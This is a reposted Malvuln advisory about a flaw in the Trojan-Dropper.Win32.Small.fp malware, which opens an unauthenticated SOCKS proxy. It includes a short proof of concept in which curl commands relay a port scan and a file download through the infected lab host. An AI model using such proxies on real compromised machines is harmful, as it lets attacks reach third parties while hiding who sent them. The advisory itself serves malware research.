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Trojan-Dropper.Win32.Small.fp / Unauthenticated Open Proxy

CVE Category Price Severity
CWE-285 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2021-08-06
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.0219 0.5015

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021080013

Below is a copy:

Trojan-Dropper.Win32.Small.fp / Unauthenticated Open Proxy
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/07122dd3b069bbbb445e060c1249d5a2.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Small.fp
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on random TCP ports like 2904, 1200 etc.  Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 07122dd3b069bbbb445e060c1249d5a2
Vuln ID: MVID-2021-0312
Dropped files: scchostc.exe, scchost.exe
Disclosure: 08/05/2021

Exploit/PoC:
Scan Ports)

curl -x socks4://192.168.18.129:2904 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

curl -x socks4://192.168.18.129:2904 http://192.168.18.128:110
+OK INetSim POP3 Server ready <16402.1628127039@pop3host>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl -x socks4://192.168.18.129:2904 http://192.168.18.128/DOOM.exe --out DOOM2.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01 1279k


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